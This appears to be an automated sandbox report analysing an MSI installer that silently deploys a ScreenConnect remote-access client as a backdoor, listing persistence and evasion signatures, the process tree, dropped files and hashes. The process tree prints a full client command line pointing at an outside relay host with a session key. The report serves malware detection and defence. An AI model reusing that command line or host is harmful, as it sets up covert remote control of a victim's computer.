Analysis

  • max time kernel
    148s
  • max time network
    124s
  • platform
    windows11-ltsc_2024_x64
  • resource
    win11ltsc2024-20260617-en
  • resource tags

    arch:x64arch:x86image:win11ltsc2024-20260617-enlocale:en-usos:windows11-ltsc_2024-x64systemwindows
  • submitted
    23/06/2026, 06:17

General

  • Target
    ClientSetup.msi
  • Size 13.6MB
  • Sample260623-g2e36sa151
  • SHA256 4d322ad62ca357eaea2a63016b5b54dc1dd7f82c72fd89bd7a958146d355cec1
  • MD5 SHA1 SHA512 SSDEEP TLSH

Malware Config

Signatures

  • Sets service image path in registry 3 TTPs 1 IoCs

    This determines the executable launched when a service starts. It can be used to establish persistence.

  • Signed with revoked ConnectWise certificate 2 IoCs

    Binary is signed using a ConnectWise certificate revoked for key compromise.

  • ConnectWise ScreenConnect remote access tool

    ConnectWise ScreenConnect is a remote desktop tool that can be used as a backdoor.

  • Event Triggered Execution: Component Object Model Hijacking 1 TTPs

    Adversaries may establish persistence by executing malicious content triggered by hijacked references to Component Object Model (COM) objects.

  • Executes dropped EXE 3 IoCs
  • Loads dropped DLL 22 IoCs
  • Enumerates connected drives 3 TTPs 46 IoCs

    Attempts to read the root path of hard drives other than the default C: drive.

  • Boot or Logon Autostart Execution: Authentication Package 1 TTPs 1 IoCs

    Suspicious Windows Authentication Registry Modification.

  • Drops file in System32 directory 2 IoCs
  • Drops file in Program Files directory 19 IoCs
  • Drops file in Windows directory 17 IoCs
  • Event Triggered Execution: Installer Packages 2 TTPs 1 IoCs
  • System Location Discovery: System Language Discovery 1 TTPs 5 IoCs

    Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

  • Checks SCSI registry key(s) 3 TTPs 5 IoCs

    SCSI information is often read in order to detect sandboxing environments.

  • Checks processor information in registry 2 TTPs 2 IoCs

    Processor information is often read in order to detect sandboxing environments.

  • Modifies data under HKEY_USERS 13 IoCs
  • Modifies registry class 37 IoCs
  • Suspicious behavior: EnumeratesProcesses 8 IoCs
  • Suspicious use of AdjustPrivilegeToken 64 IoCs
  • Suspicious use of FindShellTrayWindow 2 IoCs
  • Suspicious use of SetWindowsHookEx 5 IoCs
  • Suspicious use of WriteProcessMemory 7 IoCs
  • Uses Volume Shadow Copy service COM API

    The Volume Shadow Copy service is used to manage backups/snapshots.

Processes

  • C:\Windows\system32\msiexec.exe
    msiexec.exe /I C:\Users\Admin\AppData\Local\Temp\ClientSetup.msi
    1⤵
    • Enumerates connected drives
    • Event Triggered Execution: Installer Packages
    • Suspicious use of AdjustPrivilegeToken
    • Suspicious use of FindShellTrayWindow
    • Suspicious use of SetWindowsHookEx
    PID:2908
  • C:\Windows\system32\msiexec.exe
    C:\Windows\system32\msiexec.exe /V
    1⤵
    • Enumerates connected drives
    • Boot or Logon Autostart Execution: Authentication Package
    • Drops file in Program Files directory
    • Drops file in Windows directory
    • Modifies data under HKEY_USERS
    • Modifies registry class
    • Suspicious behavior: EnumeratesProcesses
    • Suspicious use of AdjustPrivilegeToken
    • Suspicious use of SetWindowsHookEx
    • Suspicious use of WriteProcessMemory
    PID:5028
    • C:\Windows\syswow64\MsiExec.exe
      C:\Windows\syswow64\MsiExec.exe -Embedding 436BEEE5C1D1E146E4C853B46B29EED6 C
      2⤵
      • Loads dropped DLL
      • System Location Discovery: System Language Discovery
      • Suspicious use of SetWindowsHookEx
      • Suspicious use of WriteProcessMemory
      PID:2604
      • C:\Windows\SysWOW64\rundll32.exe
        rundll32.exe "C:\Users\Admin\AppData\Local\Temp\MSIF7F7.tmp",zzzzInvokeManagedCustomActionOutOfProc SfxCA_240712000 1 ScreenConnect.InstallerActions!ScreenConnect.ClientInstallerActions.FixupServiceArguments
        3⤵
        • Loads dropped DLL
        • System Location Discovery: System Language Discovery
        PID:2068
    • C:\Windows\system32\srtasks.exe
      C:\Windows\system32\srtasks.exe ExecuteScopeRestorePoint /WaitForRestorePoint:2
      2⤵
        PID:1516
      • C:\Windows\syswow64\MsiExec.exe
        C:\Windows\syswow64\MsiExec.exe -Embedding DD8BF1683F66BB608C4A8D596C6E1717
        2⤵
        • Loads dropped DLL
        • System Location Discovery: System Language Discovery
        • Suspicious use of SetWindowsHookEx
        PID:1316
      • C:\Windows\syswow64\MsiExec.exe
        C:\Windows\syswow64\MsiExec.exe -Embedding 545190D317589DD75841BAEFD71C6704 E Global\MSI0000
        2⤵
        • Loads dropped DLL
        • Drops file in Windows directory
        • System Location Discovery: System Language Discovery
        • Suspicious use of SetWindowsHookEx
        PID:1804
    • C:\Windows\system32\vssvc.exe
      C:\Windows\system32\vssvc.exe
      1⤵
      • Checks SCSI registry key(s)
      PID:1944
    • C:\Program Files (x86)\ScreenConnect Client (eaeb69a490ac6e0e)\ScreenConnect.ClientService.exe
      "C:\Program Files (x86)\ScreenConnect Client (eaeb69a490ac6e0e)\ScreenConnect.ClientService.exe" "?e=Access&y=Guest&h=cloud.suveyconcierging.com&p=8041&s=7d5f8e7c-8834-465f-a0ee-187bc6c3b4fc&k=BgIAAACkAABSU0ExAAgAAAEAAQDt%2bvvGTL5PtnzNI7TFlSi42DQ3Bsg9KndF6fkLGD5v4nwk5zby8o30ObFoNoJTIph84%2f8pYmj0BCxFc1SrlwwnaxuUMzRc0fjX1cvKsbFIPKsdcSEBKghIsTUNw06cSeF1OYhRJm%2baNbEkrhVABmwn2DqmkDIwaipky7wZBMsNjmjgH0cZKn%2f087FJlqIEomJmA60maSRb0yzqvyPw0Xb6pjl1rlHg5awQkJQvO8%2flYsOEXBSgMFacf6J4Y0guO9mcmcDe82sCMtF%2fGGWywpAM0yS6CLUgLxqgE48PKTC4CNliZq%2bUVe0z0vSyCOJrDcuC5V5A%2b3BbzAaCStgb%2bTbb"
      1⤵
      • Sets service image path in registry
      • Executes dropped EXE
      • Loads dropped DLL
      • Drops file in System32 directory
      • System Location Discovery: System Language Discovery
      • Modifies data under HKEY_USERS
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of WriteProcessMemory
      PID:2332
      • C:\Program Files (x86)\ScreenConnect Client (eaeb69a490ac6e0e)\ScreenConnect.WindowsClient.exe
        "C:\Program Files (x86)\ScreenConnect Client (eaeb69a490ac6e0e)\ScreenConnect.WindowsClient.exe" "RunRole" "4fc7e852-941b-4d54-8516-424da5268842" "User"
        2⤵
        • Executes dropped EXE
        PID:2636
      • C:\Program Files (x86)\ScreenConnect Client (eaeb69a490ac6e0e)\ScreenConnect.WindowsClient.exe
        "C:\Program Files (x86)\ScreenConnect Client (eaeb69a490ac6e0e)\ScreenConnect.WindowsClient.exe" "RunRole" "cc87c9c6-6e02-4313-ab90-4a5c3e33b690" "System"
        2⤵
        • Executes dropped EXE
        • Checks processor information in registry
        • Modifies data under HKEY_USERS
        PID:6124

    Network

          MITRE ATT&CK Enterprise v16

          Replay Monitor

          Loading Replay Monitor...

          Downloads

          e59457c.rbs

          • Path C:\Config.Msi\e59457c.rbs
          • Size 214KB
          • SHA256 7094fd23ae5ebadcbc2692e8dc69d708cc63815c0825ed8bd0b20d39d5dbe620
          • MD5 SHA1 SHA512 SSDEEP TLSH

          Client.Override.en-US.resources

          • Path C:\Program Files (x86)\ScreenConnect Client (eaeb69a490ac6e0e)\Client.Override.en-US.resources
          • Size 766B
          • SHA256 3242c289ef2c4fc9d11b6a0a6c76380d163c745591e6b3d4ec625e62b736f436
          • MD5 SHA1 SHA512 TLSH

          Client.Override.resources

          • Path C:\Program Files (x86)\ScreenConnect Client (eaeb69a490ac6e0e)\Client.Override.resources
          • Size 244KB
          • SHA256 2fcb321cbfa04c0a770979b7f9760af2b6675c01d740725e419c80971b27bb14
          • MD5 SHA1 SHA512 SSDEEP TLSH

          Client.en-US.resources

          • Path C:\Program Files (x86)\ScreenConnect Client (eaeb69a490ac6e0e)\Client.en-US.resources
          • Size 49KB
          • SHA256 b26b7a988aba7f94473468cae82846bb672a422b016ed1907d187a5c3bb0f8a0
          • MD5 SHA1 SHA512 SSDEEP TLSH

          Client.resources

          • Path C:\Program Files (x86)\ScreenConnect Client (eaeb69a490ac6e0e)\Client.resources
          • Size 28KB
          • SHA256 95b299c8c163731707e8134946059a28c668c2b65b48f57eac2847dbe4beb63e
          • MD5 SHA1 SHA512 SSDEEP TLSH

          ScreenConnect.Client.dll

          • Path C:\Program Files (x86)\ScreenConnect Client (eaeb69a490ac6e0e)\ScreenConnect.Client.dll
          • Size 192KB
          • SHA256 dd75f431bc27ae5cd60eabf0d705de194c72aa7c6897a7789981df620be5cc41
          • MD5 SHA1 SHA512 SSDEEP TLSH

          ScreenConnect.ClientService.dll

          • Path C:\Program Files (x86)\ScreenConnect Client (eaeb69a490ac6e0e)\ScreenConnect.ClientService.dll
          • Size 67KB
          • SHA256 228c0f9be331a5fbce6711f6c72d7660419d7746da604168d6f4ad9a492b00aa
          • MD5 SHA1 SHA512 SSDEEP TLSH

          ScreenConnect.ClientService.exe

          • Path C:\Program Files (x86)\ScreenConnect Client (eaeb69a490ac6e0e)\ScreenConnect.ClientService.exe
          • Size 93KB
          • SHA256 8c7e1feb403442d3bc11a1945a9e0b3651a5095ca3acabe3f608da801dc8c2b7
          • MD5 SHA1 SHA512 SSDEEP TLSH

          ScreenConnect.WindowsAuthenticationPackage.dll

          • Path C:\Program Files (x86)\ScreenConnect Client (eaeb69a490ac6e0e)\ScreenConnect.WindowsAuthenticationPackage.dll
          • Size 254KB
          • SHA256 a5b8f0070201e4f26260af6a25941ea38bd7042aefd48cd68b9acf951fa99ee5
          • MD5 SHA1 SHA512 SSDEEP TLSH

          ScreenConnect.WindowsClient.exe

          • Path C:\Program Files (x86)\ScreenConnect Client (eaeb69a490ac6e0e)\ScreenConnect.WindowsClient.exe
          • Size 595KB
          • SHA256 da7697707b476046197af8d35c5a1df3cebd7153b7b48aab1079a6375bdca74a
          • MD5 SHA1 SHA512 SSDEEP TLSH

          ScreenConnect.WindowsClient.exe.config

          • Path C:\Program Files (x86)\ScreenConnect Client (eaeb69a490ac6e0e)\ScreenConnect.WindowsClient.exe.config
          • Size 266B
          • SHA256 87c640d3184c17d3b446a72d5f13d643a774b4ecc7afbedfd4e8da7795ea8077
          • MD5 SHA1 SHA512 TLSH

          ScreenConnect.WindowsCredentialProvider.dll

          • Path C:\Program Files (x86)\ScreenConnect Client (eaeb69a490ac6e0e)\ScreenConnect.WindowsCredentialProvider.dll
          • Size 837KB
          • SHA256 36ad3b4858ee84fd2a73522a9ad25d177f492a65e1cbc6630169dc820dc2b63d
          • MD5 SHA1 SHA512 SSDEEP TLSH

          app.config

          • Path C:\Program Files (x86)\ScreenConnect Client (eaeb69a490ac6e0e)\app.config
          • Size 1KB
          • SHA256 805e6e9447a4838d874d84e6b2cdff93723641b06726d8ee58d51e8b651cd226
          • MD5 SHA1 SHA512 TLSH

          system.config

          • Path C:\Program Files (x86)\ScreenConnect Client (eaeb69a490ac6e0e)\system.config
          • Size 950B
          • SHA256 5a5d078e4bd9c00203d2f3c42e04452d2930b92228bea57ab6473f99bba65218
          • MD5 SHA1 SHA512 TLSH

          MSIF7F7.tmp

          • Path C:\Users\Admin\AppData\Local\Temp\MSIF7F7.tmp
          • Size 1.0MB
          • SHA256 a5c116a5746888cdd47fae8269e5d5cc1fa51617744c50256619c75e540034e0
          • MD5 SHA1 SHA512 SSDEEP TLSH

          Microsoft.Deployment.WindowsInstaller.dll

          • Path C:\Users\Admin\AppData\Local\Temp\MSIF7F7.tmp-\Microsoft.Deployment.WindowsInstaller.dll
          • Size 172KB
          • SHA256 3e54286e348ebd3d70eaed8174cca500455c3e098cdd1fccb167bc43d93db29d
          • MD5 SHA1 SHA512 SSDEEP TLSH

          ScreenConnect.Core.dll

          • Path C:\Users\Admin\AppData\Local\Temp\MSIF7F7.tmp-\ScreenConnect.Core.dll
          • Size 539KB
          • SHA256 1e9eacd3c680b18f3bfee12a835a49d63fed76056aedb2b2ef312999eb6b4033
          • MD5 SHA1 SHA512 SSDEEP TLSH

          ScreenConnect.InstallerActions.dll

          • Path C:\Users\Admin\AppData\Local\Temp\MSIF7F7.tmp-\ScreenConnect.InstallerActions.dll
          • Size 11KB
          • SHA256 af7b515d5ea17e6811f7fd4e0fe76b7bbc6c2ff4e58dc005c86fa30d44f184ca
          • MD5 SHA1 SHA512 SSDEEP TLSH

          ScreenConnect.Windows.dll

          • Path C:\Users\Admin\AppData\Local\Temp\MSIF7F7.tmp-\ScreenConnect.Windows.dll
          • Size 1.6MB
          • SHA256 f6e77233f0995581f3171ee92c5cab5b8052d177d333a4999e16e696616739a6
          • MD5 SHA1 SHA512 SSDEEP TLSH

          MSI4C52.tmp

          • Path C:\Windows\Installer\MSI4C52.tmp
          • Size 202KB
          • SHA256 3cff4ac91288a0ff0c13278e73b282a64e83d089c5a61a45d483194ab336b852
          • MD5 SHA1 SHA512 SSDEEP TLSH

          e59457b.msi

          • Path C:\Windows\Installer\e59457b.msi
          • Size 13.6MB
          • SHA256 4d322ad62ca357eaea2a63016b5b54dc1dd7f82c72fd89bd7a958146d355cec1
          • MD5 SHA1 SHA512 SSDEEP TLSH

          metadata-2

          • Path \??\GLOBALROOT\Device\HarddiskVolumeShadowCopy2\System Volume Information\SPP\metadata-2
          • Size 26.1MB
          • SHA256 363dab460e9eaf04b8fb133813067d9edffba723ac291975126226a8582f7ca7
          • MD5 SHA1 SHA512 SSDEEP TLSH

          {e35bd4fb-7cd0-4cdf-86e1-c53975c129d4}_OnDiskSnapshotProp

          • Path \??\Volume{2e4f07ee-0000-0000-0000-d08302000000}\System Volume Information\SPP\OnlineMetadataCache\{e35bd4fb-7cd0-4cdf-86e1-c53975c129d4}_OnDiskSnapshotProp
          • Size 6KB
          • SHA256 1e989b057774e5e6f34854ce3eca545bcb23c65ae808288e1cd8a5298c2820d5
          • MD5 SHA1 SHA512 SSDEEP TLSH

          memory/2068-30-0x0000000005CF0000-0x0000000005E9C000-memory.dmp

          memory/2068-18-0x00000000039E0000-0x0000000003A0E000-memory.dmp

          memory/2068-22-0x0000000003990000-0x000000000399A000-memory.dmp

          memory/2068-26-0x0000000005AB0000-0x0000000005B3E000-memory.dmp

          memory/2068-31-0x0000000006460000-0x0000000006A1A000-memory.dmp

          memory/2332-102-0x0000000004860000-0x00000000048F2000-memory.dmp

          memory/2332-75-0x0000000001AD0000-0x0000000001AE8000-memory.dmp

          memory/2332-101-0x0000000004780000-0x00000000047B6000-memory.dmp

          memory/2332-97-0x0000000004730000-0x0000000004780000-memory.dmp

          memory/2332-104-0x00000000047C0000-0x0000000004801000-memory.dmp

          memory/2332-106-0x0000000004A50000-0x0000000004B25000-memory.dmp

          memory/2636-119-0x000000001C170000-0x000000001C31C000-memory.dmp

          memory/2636-118-0x000000001BF30000-0x000000001BFBE000-memory.dmp

          memory/2636-120-0x000000001C4B0000-0x000000001C638000-memory.dmp

          memory/2636-122-0x000000001BB50000-0x000000001BB68000-memory.dmp

          memory/2636-121-0x00000000030B0000-0x00000000030C8000-memory.dmp

          memory/2636-117-0x000000001BB10000-0x000000001BB46000-memory.dmp

          memory/2636-116-0x0000000000F00000-0x0000000000F98000-memory.dmp

          memory/5028-124-0x0000026CB3900000-0x0000026CB42A4000-memory.dmp